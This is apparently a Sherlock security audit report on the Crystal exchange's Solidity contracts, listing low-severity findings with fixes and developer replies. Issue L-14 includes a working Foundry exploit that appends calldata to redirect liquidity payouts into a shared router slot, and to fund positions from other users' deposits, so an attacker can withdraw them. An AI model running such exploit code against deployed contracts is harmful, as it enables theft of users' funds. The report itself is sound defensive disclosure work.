Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/18

Summary

`CrystalMarket._decreaseOrder()` checks whether to cancel a dust remainder by comparing pre-decrease quote value against rounded decrease value plus `minSize`. For asks, rounding can leave the post-decrease remainder below the placement minimum.

Vulnerability Detail

`_decreaseOrder()` computes:

```
uint256 quoteOrderSize = (isBuy ? size : ((size * price) / scaleFactor));
uint256 quoteDecreaseAmount =
    (isBuy ? decreaseAmount : ((decreaseAmount * price) / scaleFactor))
    + (((m.minSize >> 20) * 10 ** (m.minSize & MASK_KEEP_0_20)));
if (quoteOrderSize < quoteDecreaseAmount) {
    ...
}
```

For ask orders, both the original size and the decrease amount are independently rounded down to quote value. This is not equivalent to checking the post-decrease ask size directly.

Example:

- `scaleFactor = 1000`
- `price = 333`
- `minSize = 1`
- ask size `4` passes placement because `floor(4 * 333 / 1000) = 1`
- decrease by `1`
- remaining ask size is `3`
- `floor(3 * 333 / 1000) = 0`

The current check can keep the order even though the remaining ask would not pass the original min-size invariant.

Impact

Resting ask orders can remain on the book below the market's minimum quote size after a decrease. This breaks the order-size invariant and can leave dust orders that the placement path would reject.

Code Snippet

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L1677-L1679

Tool Used

Manual Review

Recommendation

Check the post-decrease remainder directly. For bids, cancel if `size - decreaseAmount < minSize`. For asks, cancel if `((size - decreaseAmount) * price / scaleFactor) < minSize`.

Issue L-12: Launchpad tokens can be created with empty names or symbols

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/19

Summary

`Crystal.createToken()` accepts empty `name` and `symbol` values and passes them directly into `CrystalToken`, so permissionless launchpad tokens can violate the documented metadata invariant.

Vulnerability Detail

`createToken()` deploys `CrystalToken` with caller-provided metadata and does not validate required fields:

```
token = address(new CrystalToken(address(this), name, symbol, metadataCID,
↪  description, social1, social2, social3, social4));
```

`CrystalToken` then stores the same values as ERC20 metadata and launchpad metadata:

```
constructor(...) ERC20(_name, _symbol) {
    crystal = _crystal;
    metadata = TokenMetaData(_name, _symbol, metadataCID, description, social1,
    ↪  social2, social3, social4);
    _mint(_crystal, 1000000000000000000000000000);
}
```

There is no `bytes(name).length != 0` or `bytes(symbol).length != 0` check before the token becomes part of launchpad state.

Impact

This is a violation of README invariant:

> Launchpad token metadata must remain valid, with nonempty name, nonempty symbol, 18 decimals, and nonzero total supply.

Invalid launchpad metadata can be created permissionlessly, emitted through `TokenCreated`, stored in `allTokens`, and consumed by integrations or UIs that assume launchpad tokens have nonempty names and symbols.

Code Snippet

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/Crystal.sol#L1935-L1938

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalToken.sol#L49-L52

Tool Used

Manual Review

Recommendation

Reject empty required metadata before deploying the token:

```
require(bytes(name).length != 0 && bytes(symbol).length != 0,
↪  ICrystal.InvalidParams());
```

Issue L-13: Unregistered balance views read the shared router slot

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/20

Summary

`Crystal.getDepositedBalance()` reads `tokenBalances[addressToUserId[user]][asset]` without handling unregistered nonzero users. Since unregistered users map to user id `0`, the getter mirrors the shared router slot.

Vulnerability Detail

`getDepositedBalance()` directly uses the mapped user id:

```
uint256 tokenBalance = tokenBalances[addressToUserId[user]][asset];
availableBalance = tokenBalance & MASK_KEEP_0_128;
lockedBalance = tokenBalance >> 128;
return (availableBalance + lockedBalance, availableBalance, lockedBalance);
```

For any unregistered nonzero address, `addressToUserId[user] == 0`. User id `0` is also the router slot used by `routerDeposit()`, routed multi-hop swaps, and `routerWithdraw()`. If that slot has a temporary or leaked balance, the getter reports the same balance for arbitrary unregistered addresses.

Withdrawals are not authorized through this view, but the accounting result is still wrong.

Impact

Integrations, indexers, and UIs can falsely report that arbitrary unregistered users have deposited funds. This can break balance reconciliation and user-facing accounting during router-slot usage or after a multi-hop surplus remains in the router.

Code Snippet

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/Crystal.sol#L525-L529

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/Crystal.sol#L1511-L1520

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/Crystal.sol#L1532-L1550

Tool Used

Manual Review

Recommendation

Return zero for unregistered nonzero users while preserving the explicit router-address query:

```
uint256 userId = addressToUserId[user];
if (user != address(0) && userId == 0) {
    return (0, 0, 0);
}
```

Issue L-14: `Crystal._delegateToMarket` allows excess calldata appended by the user to be supplied as the market's hidden `options` argument in `addLiquidity` and `removeLiquidity`.

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/21

Summary

Crystal._delegateToMarket() forwards the router's calldata to the market implementation by copying a caller-independent number of bytes from offset 36 (i.e. skipping the selector and the leading `market` argument):

```
function _delegateToMarket(address market, bytes4 selector, uint256 size, address
↪  user) internal {
    _verifyMarket(market);
    assembly {
        mstore(0x80, selector)
        calldatacopy(0x84, 36, size)
        mstore(add(size, 0x84), user)
        let result := delegatecall(gas(), market, 0x80, add(4, add(size,
        ↪  mul(iszero(iszero(user)), 32))), 0, 0)
        ...
    }
}
```

The issue is that `removeLiquidity` and `addLiquidity` (with `msg.value == 0`) call `_delegateToMarket` with incorrect (inflated) `size`, which copies more calldata bytes than necessary with excess going into `options` argument. At the same time these functions do not zero-out or set/overwrite correct value for the `options` (assuming it's 0). This means that user can craft `removeLiquidity` or `addLiquidity` calls by adding excess calldata (solidity dispatcher only enforces a *minumum* calldata length, never rejecting excess bytes), thus setting the `options` argument which is supposed to be only set by the `Crystal` contract, not by the user.

Following is the table comparing every function calling `_delegateToMarket` against its ABI-encoded length confirming only 2 incorrect sizes:

Entry point	args after `market`	ABI calldatasize	`size`	copied range	over-re
removeLiquidity	4 (128 B)	164	160	36..196	✗ **32 B**
addLiquidity (`msg.value == 0`)	5 (160 B)	196	192	36..228	✗ **32 B**

Entry point	args after `market`	ABI calldatasize	`size`	copied range	over-re
`addLiquidity` (`msg.value != 0`)	5 (160 B)	196	160	36..196	✅ exact
`removeLiquidityETH`	4 (128 B)	164	128	36..164	✅ exact
`marketOrder`	8 (256 B)	292	224	36..260	✅ exact
`replaceOrder`	7 (224 B)	260	192	36..228	✅ exact
`limitOrder`	5 (160 B)	196	128	36..164	✅ exact
`cancelOrder`	4 (128 B)	164	96	36..132	✅ exact
`getPriceLevels` / `getQuote`	5 (160 B)	196	160	36..196	✅ exact
`getPriceLevelsFromMid`	3 (96 B)	132	96	36..132	✅ exact
`getPrice` / `getReserves`	0	36	0	–	✅ exact

`options` which user can set allows to use: bit 0 for the quote leg and bit 4 for the base leg – switching each leg between an external ERC20 transfer and the router's shared internal slot `tokenBalances[0]`:

```
if ((options & 1) == 0) {
    IERC20(quoteAsset).transfer(to, amountQuote);
} else {
    require(((tokenBalances[0][quoteAsset] & MASK_KEEP_0_128) + amountQuote) <=
    ↪  MASK_KEEP_0_128, ICrystal.Overflow());
    tokenBalances[0][quoteAsset] += amountQuote;
}
```

`Crystal` only ever sets those bits behind the WETH gate – `addLiquidity` on the `msg.value != 0` branch and `removeLiquidityETH`, both of which `require(quoteAsset == weth || baseAsset == weth, NotWethMarket(market))` and then sweep `tokenBalances[0][weth]` back out before returning. The injected `options` word reaches the same bits with neither the gate nor the sweep, on any market and any asset pair.

Root Cause

Incorrect hard-coded copy size in:

`removeLiquidity`, `size = 160` (should be 128) https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/38d1258bfc5a549e9ee66c38b52817b536b4e619/Crystal-Contracts/contracts/core/Crystal.sol#L763

`addLiquidity`, `msg.value == 0` branch, `size = 192` (should be 160) https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/38d1258bfc5a549e9ee66c38b52817b536b4e619/Crystal-Contracts/contracts/core/Crystal.sol#L734

Neither `Crystal` nor the Solidity dispatcher constrains `msg.data.length`.

Internal Pre-conditions

None.

External Pre-conditions

None.

Attack Path

1. Attacker calls `Crystal.removeLiquidity(market, to, liquidity, 0, 0)` with 32 bytes of `0x11` appended (196 bytes of calldata instead of 164, crafted by-hand).
2. The market reads `options = 0x11`, credits both legs to `tokenBalances[0][quoteAsset] / tokenBalances[0][baseAsset]`, and `to` receives nothing.
3. The funds are then withdrawable by anyone via `routerWithdraw`.

OR

1. `tokenBalances[0]` holds a balance for the market's assets (someone called `routerDeposit`, or a router flow left a residue).
2. Attacker, holding no tokens and having granted no approvals, calls `Crystal.addLiquidity(market, attacker, qDesired, bDesired, 0, 0)` with 32 bytes of `0x11` appended (228 bytes instead of 196).
3. Both legs are debited from `tokenBalances[0]` instead of `transferFrom(msg.sender)`; the attacker receives the LP tokens.

Impact

`options` parameters is supposed to be only authored by `Crystal` contract, but this issue allows the user to set it. There is no actual harm in this other than the user himself (incorrect source/destination of tokens).

Residual risk is that any future change widening the meaning of `options` on the liquidity paths, can silently increase the severity of this issue up to critical.

Proof of concept

Place the file below at `test/foundry/unit/AuditDelegateOptionsInjection.t.sol` and run:

```
forge test --match-contract AuditDelegateOptionsInjectionTest -vv
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import { AuditBaseTest } from "../AuditBaseTest.t.sol";
import { ICrystal } from "../../../contracts/interfaces/ICrystal.sol";
import { CrystalMarket } from "../../../contracts/core/CrystalMarket.sol";
import { TestToken } from "../../../contracts/mocks/TestToken.sol";

/**
 * PoC for the trailing-calldata `options` injection in Crystal._delegateToMarket():
 *
 *   calldatacopy(0x84, 36, size)   // `size` is a per-call-site constant, not
 ↪  calldatasize() - 36
 *
 * Crystal.removeLiquidity  -> ABI calldata is 164 bytes, `size` is 160 (over-read
 ↪  by 32)
 * Crystal.addLiquidity     -> ABI calldata is 196 bytes, `size` is 192 on the
 ↪  msg.value == 0 branch
 *
 * Solidity's dispatcher only enforces a *minimum* calldata size, so 32 bytes
 ↪  appended by the caller
 * land in the market's trailing `options` parameter, which Crystal is supposed to
 ↪  control itself.
 */
contract AuditDelegateOptionsInjectionTest is AuditBaseTest {
    address internal constant attacker = address(0xBADBAD);

    uint256 internal constant OPTIONS_BOTH_INTERNAL = 0x11; // bit 0 = quote leg,
    ↪  bit 4 = base leg

    // ---------------------------------------------------------------------
    // 1. removeLiquidity: 164-byte ABI, 160 copied -> trailing word becomes
    ↪  `options`
    // ---------------------------------------------------------------------
    function test_removeLiquidity_trailingWordBecomesOptions() public {
        _addDefaultLiquidity();
        uint256 lp = market.balanceOf(address(this));
        market.approve(address(crystal), type(uint256).max);

        uint256 burn = lp / 4;

        // --- control: exactly-ABI-sized calldata (164 bytes) pays `carol` out
        ↪  externally ---
```

```
        uint256 carolQuoteBefore = quote.balanceOf(carol);
        uint256 carolWethBefore = weth.balanceOf(carol);

        (bool ok, bytes memory ret) = _rawRemoveLiquidity(carol, burn, "");
        assertTrue(ok, "control call reverted");
        (uint256 q0, uint256 b0) = abi.decode(ret, (uint256, uint256));
        assertGt(q0, 0, "control quote out");
        assertEq(quote.balanceOf(carol) - carolQuoteBefore, q0, "control: carol
        ↪  paid in quote");
        assertEq(weth.balanceOf(carol) - carolWethBefore, b0, "control: carol paid
        ↪  in base");

        // --- exploit: 164 + 32 = 196 bytes of calldata; the extra word is read as
        ↪  `options` ---
        carolQuoteBefore = quote.balanceOf(carol);
        carolWethBefore = weth.balanceOf(carol);

        (ok, ret) = _rawRemoveLiquidity(carol, burn,
        ↪  abi.encode(OPTIONS_BOTH_INTERNAL));
        assertTrue(ok, "exploit call reverted -> trailing calldata rejected");
        (uint256 q1, uint256 b1) = abi.decode(ret, (uint256, uint256));
        assertGt(q1, 0, "exploit quote out");
        assertGt(b1, 0, "exploit base out");

        // Recipient got nothing: both legs were routed into the shared router slot
        ↪  instead.
        assertEq(quote.balanceOf(carol), carolQuoteBefore, "quote leg was NOT
        ↪  redirected");
        assertEq(weth.balanceOf(carol), carolWethBefore, "base leg was NOT
        ↪  redirected");

        // The redirected funds are sitting in tokenBalances[0] - permissionless to
        ↪  withdraw.
        vm.startPrank(attacker);
        crystal.routerWithdraw(attacker, address(quote), 0);
        crystal.routerWithdraw(attacker, address(weth), 0);
        vm.stopPrank();

        assertEq(quote.balanceOf(attacker), q1, "router slot 0 holds the redirected
        ↪  quote");
        assertEq(weth.balanceOf(attacker), b1, "router slot 0 holds the redirected
        ↪  base");
    }

    // ------------------------------------------------------------------------
    // 2. addLiquidity (msg.value == 0): 196-byte ABI, 192 copied -> trailing word
    ↪  becomes `options`
    //    -> the position is funded from the shared router slot instead of the
    ↪  caller's wallet.
    // ------------------------------------------------------------------------
```

```
function test_addLiquidity_trailingWordPaysFromRouterSlot() public {
    _addDefaultLiquidity();

    // Someone parks funds in the shared slot-0 pot.
    vm.startPrank(alice);
    crystal.routerDeposit(address(quote), 10_000 * QUOTE_UNIT);
    crystal.routerDeposit(address(weth), 10 ether);
    vm.stopPrank();

    // Attacker owns no tokens and has granted no approvals.
    assertEq(quote.balanceOf(attacker), 0, "attacker starts with no quote");
    assertEq(weth.balanceOf(attacker), 0, "attacker starts with no base");
    assertEq(quote.allowance(attacker, address(crystal)), 0, "attacker granted
    ↪  no allowance");

    bytes memory data = abi.encodeWithSelector(
        ICrystal.addLiquidity.selector,
        address(market),
        attacker,
        uint256(1_000 * QUOTE_UNIT),
        uint256(1 ether),
        uint256(0),
        uint256(0)
    );

    vm.prank(attacker);
    (bool ok, bytes memory ret) =
        address(crystal).call(bytes.concat(data,
        ↪  abi.encode(OPTIONS_BOTH_INTERNAL)));
    assertTrue(ok, "exploit call reverted -> trailing calldata rejected");

    uint256 liquidity = abi.decode(ret, (uint256));
    assertGt(liquidity, 0, "no liquidity minted");
    assertEq(market.balanceOf(attacker), liquidity, "attacker holds the LP
    ↪  tokens");
    assertEq(quote.balanceOf(attacker), 0, "attacker paid nothing from its own
    ↪  wallet");

    // The position was funded out of the shared router slot.
    uint256 aliceQuoteBefore = quote.balanceOf(alice);
    vm.prank(alice);
    crystal.routerWithdraw(alice, address(quote), 0);
    assertEq(
        quote.balanceOf(alice) - aliceQuoteBefore,
        10_000 * QUOTE_UNIT - 1_000 * QUOTE_UNIT,
        "router slot was debited by the attacker's quote leg"
    );
}

// ------------------------------------------------------------------------
```

```
    // 3. The injected `options` bypasses the `quoteAsset == weth || baseAsset ==
    ↪  weth` gate:
    //    internal-balance routing is reachable on a market that holds no WETH at
    ↪  all.
    // ------------------------------------------------------------------------
    function test_optionsInjection_bypassesWethMarketGate() public {
        TestToken base2 = new TestToken("Base Token", "BASE", 18);
        CrystalMarket market2 = CrystalMarket(payable(
            crystal.deploy(
                MARKET_IS_CANONICAL,
                address(quote),
                address(base2),
                MARKET_TYPE_LOGARITHMIC_AMM,
                MARKET_SCALE_FACTOR,
                MARKET_TICK_SIZE,
                MARKET_MAX_PRICE,
                MARKET_MIN_SIZE,
                MARKET_TAKER_FEE,
                MARKET_MAKER_REBATE
            )
        ));

        base2.mint(address(this), 1_000 ether);
        base2.approve(address(crystal), type(uint256).max);
        crystal.addLiquidity(address(market2), address(this), 100_000 * QUOTE_UNIT,
        ↪  100 ether, 0, 0);

        // Crystal itself refuses to set `options` on this market...
        vm.expectRevert(abi.encodeWithSelector(ICrystal.NotWethMarket.selector,
        ↪  address(market2)));
        crystal.removeLiquidityETH(address(market2), address(this), 1, 0, 0);

        // ...but the trailing calldata word sets it anyway.
        uint256 lp = market2.balanceOf(address(this));
        market2.approve(address(crystal), type(uint256).max);

        uint256 carolQuoteBefore = quote.balanceOf(carol);
        uint256 carolBaseBefore = base2.balanceOf(carol);

        bytes memory data = abi.encodeWithSelector(
            ICrystal.removeLiquidity.selector, address(market2), carol, lp / 4,
            ↪  uint256(0), uint256(0)
        );
        (bool ok, bytes memory ret) =
            address(crystal).call(bytes.concat(data,
            ↪  abi.encode(OPTIONS_BOTH_INTERNAL)));
        assertTrue(ok, "exploit call reverted");
        (uint256 q1, uint256 b1) = abi.decode(ret, (uint256, uint256));

        assertGt(q1, 0, "quote out");
```

```
        assertGt(b1, 0, "base out");
        assertEq(quote.balanceOf(carol), carolQuoteBefore, "quote leg was NOT
        ↪  redirected");
        assertEq(base2.balanceOf(carol), carolBaseBefore, "base leg was NOT
        ↪  redirected");

        vm.startPrank(attacker);
        crystal.routerWithdraw(attacker, address(quote), 0);
        crystal.routerWithdraw(attacker, address(base2), 0);
        vm.stopPrank();

        assertEq(quote.balanceOf(attacker), q1, "non-weth market credited router
        ↪  slot 0");
        assertEq(base2.balanceOf(attacker), b1, "non-weth market credited router
        ↪  slot 0");
    }

    // ------------------------------------------------------------------------
    // 4. Negative control: entry points whose hard-coded `size` matches the ABI
    ↪  exactly
    //    (removeLiquidityETH, 128 of 128) ignore trailing calldata.
    // ------------------------------------------------------------------------
    function test_removeLiquidityETH_ignoresTrailingCalldata() public {
        crystal.addLiquidity{ value: 100 ether }(address(market), address(this),
        ↪  100_000 * QUOTE_UNIT, 100 ether, 0, 0);
        uint256 lp = market.balanceOf(address(this));
        market.approve(address(crystal), type(uint256).max);

        uint256 carolEthBefore = carol.balance;

        bytes memory data = abi.encodeWithSelector(
            ICrystal.removeLiquidityETH.selector, address(market), carol, lp / 4,
            ↪  uint256(0), uint256(0)
        );
        (bool ok, bytes memory ret) = address(crystal).call(bytes.concat(data,
        ↪  abi.encode(uint256(type(uint256).max))));
        assertTrue(ok, "call reverted");
        (, uint256 b1) = abi.decode(ret, (uint256, uint256));

        // Trailing garbage had no effect: Crystal's own options word still governs.
        assertEq(carol.balance - carolEthBefore, b1, "removeLiquidityETH still
        ↪  unwrapped to carol");
    }

    // ------------------------------------------------------------------------
    // 5. Severity bound: with an empty router slot the injected debit underflows
    ↪  and reverts,
    //    so the injection cannot mint liquidity out of thin air.
    // ------------------------------------------------------------------------
    function test_addLiquidity_injectionCannotMintForFree() public {
```

```
        _addDefaultLiquidity();

        bytes memory data = abi.encodeWithSelector(
            ICrystal.addLiquidity.selector,
            address(market),
            attacker,
            uint256(1_000 * QUOTE_UNIT),
            uint256(1 ether),
            uint256(0),
            uint256(0)
        );

        vm.prank(attacker);
        (bool ok, ) = address(crystal).call(bytes.concat(data,
        ↪  abi.encode(OPTIONS_BOTH_INTERNAL)));
        assertFalse(ok, "free mint from an empty router slot succeeded");
        assertEq(market.balanceOf(attacker), 0, "attacker minted LP for free");
    }

    function _rawRemoveLiquidity(address to, uint256 lp, bytes memory trailing)
        internal
        returns (bool ok, bytes memory ret)
    {
        bytes memory data = abi.encodeWithSelector(
            ICrystal.removeLiquidity.selector, address(market), to, lp, uint256(0),
            ↪  uint256(0)
        );
        (ok, ret) = address(crystal).call(bytes.concat(data, trailing));
    }
}
```

Mitigation

- Fix the correct size for `removeLiquidity` (128) and `addLiquidity` (160 regardless of `msg.value`)
- Alternatively (or in addition to), overwrite all additional arguments (such as options) with some value (such as 0) explicitly.
- Alternatively add `require(msg.data.length == expected)` to each function to ensure no excess calldata is provided by the user.

Discussion

legionevm

setting size to 128/160 doesn't work by itself alone because then the calldata length is mismatched, so we also pass 2 as the options parameter which is essentially equal to 0

as options checks for the options & 1 and options » 4 & 1.

Issue L-15: `Crystal.queueClaimExpiredFees` doesn't clear the transitional slot, reverting any multi-user batch queue transactions.

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/22

Summary

Crystal.queueClaimExpiredFees() uses transitional storage to force tokens array to only hold unique addresses:

```
for (uint256 i = 0; i < tokens.length; ++i) {
    address token = tokens[i];
    assembly {
        mstore(0x00, token)
        let slot := keccak256(0x00, 0x20)
        if tload(slot) { revert(0,0) }
        tstore(slot, 1)
    }
    uint256 amount = claimableRewards[token][user];
    if (msg.sender != gov) {
        require(amount > 0, ICrystal.InvalidParams());
    }
    amounts[i] = amount;
}
```

The issue is that this storage is never cleared/reset back, and if `queueClaimExpiredFees` is called for the same token but with a different user in the same transaction (e.g. keeper batch queuing expired fees claim for multiple users), the transaction will unexpectedly revert.

Root Cause

Usage of transitional storage to guarantee token uniqueness without clearing/resetting it afterwards: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/38d1258bfc5a549e9ee66c38b52817b536b4e619/Crystal-Contracts/contracts/core/Crystal.sol#L1279-L1284

Internal Pre-conditions

None.

External Pre-conditions

None.

Attack Path

1. Keeper queues at least 2 users sharing at least 1 token in the same transaction
2. Transaction unexpectedly reverts, denying core protocol functionality or forcing keeper to split into multiple transactions - 1 per user or 1 per token

Impact

Unexpected revert (DOS) in certain circumstances.

Mitigation

Possible mitigations:

- require token addresses to be in strict increasing order, this will make unique tokens without transitional storage
- derive transitional storage slot from token+user instead of only token
- clear transitional storage before returning from this function

Discussion

legionevm

derive transitional storage slot from token+user instead of only token seems like the cleanest solution here

panprog

token+user is the closest to current implementation with minimal changes, while strict increasing order is probably the most gas efficient (but adding inconvenience to offline keeper, it has to sort the addresses). Up to you, any option should work fine.

Issue L-16: AMM solvers return the first trade amount that exceeds `worstPrice`

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/25

Summary

The four AMM solver functions return the first trade amount that moves the adjusted AMM price beyond `worstPrice`, rather than the largest amount that remains within the user's limit. Execution trusts the returned amount without validating the resulting post-trade price, allowing swaps to execute slightly beyond the explicitly specified limit.

Vulnerability Detail

All four solvers use a lower-bound binary search:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/libraries/CrystalMath.sol#L241-L344

```
while (low < high) {
          uint256 mid = (low + high) >> 1;
          uint256 den = 9975 * (reserveBase - ((mid * 9975 * reserveBase) /
          ↪  (reserveQuote * 10000 + mid * 9975)));
          uint256 num = (reserveQuote + mid) * 10000;
          uint256 pMid = (num * scaleFactor * makerRebate + ((den * 100000) - 1)) /
          ↪  (den * 100000);
          if (pMid > targetPrice) {
              high = mid;
          } else {
              low = mid + 1;
          }
      }
```

For example:

```
amount 10 -> post-trade price remains within `worstPrice`
amount 11 -> post-trade price exceeds `worstPrice`
```

The solver returns `11`, although it should return `10`. The same issue affects:

```
_exactInputBuySolve()
_exactOutputBuySolve()
_exactInputSellSolve()
_exactOutputSellSolve()
```

The returned amount is subsequently executed directly:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L981-L1048

```
ammAmountOut = CM._exactOutputBuySolve(
    reserveQuote,
    reserveBase,
    ammPriceLimit,
    makerRebate,
    sizeLeft,
    scaleFactor
);

ammAmountIn =
    (ammAmountOut * reserveQuote * 10000) /
    ((reserveBase - ammAmountOut) * 9975) +
    1;

reserveQuote += ammAmountIn;
reserveBase -= ammAmountOut;
```

The post-trade price is calculated later for event reporting, but is not checked against `ammPriceLimit`.

Impact

AMM execution can cross the user's explicit `worstPrice`. Under typical 6-18 decimal token configurations, the financial impact is generally small, but the behavior still violates the user's price constraint and the documented requirement that market orders stop at `worstPrice`.

Tool Used

Manual Review

Recommendation

Use an upper-bound binary search that returns the largest valid amount. For buy solvers:

```
+uint256 mid = low + ((high - low + 1) >> 1);

+if (pMid <= targetPrice) {
+    low = mid;
+} else {
```

```
+    high = mid - 1;
+}
```

For sell solvers:

```
+uint256 mid = low + ((high - low + 1) >> 1);

+if (pMid >= targetPrice) {
+    low = mid;
+} else {
+    high = mid - 1;
+}
```

Discussion

panprog

@legionevm Fix introduced variable amm fee, but the solvers still use fixed 9975 fee constant, which can cause internal arbitrage or suboptimal execution if amm fee is different from 9975.

legionevm

good catch, fixed https://github.com/CrystalExch/Crystal-Contracts/commit/4ea875f6fce91f55adf5516569e454c154a9328e

panprog

@legionevm Something not directly this issue, but related - when solvers are called in `Crystal.quoteBuy`, the `scaleFactor` used is `9` instead of `10**9`:

```
ammAmountIn = CM._exactInputBuySolve(m.reserveQuote, m.reserveBase,
↪  CM._tickToPrice(CM._priceToTick(GRADUATED_MAX_PRICE, 1) - 1, 1),
↪  launchpadParams.graduatedMakerRebate, newInputAmount, 9, FOUR_AMM_FEE);
```

legionevm

once again good find, fixed https://github.com/CrystalExch/Crystal-Contracts/commit/c5be84834c2c0e50ad5122d9cfae7fa0277af1f8

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.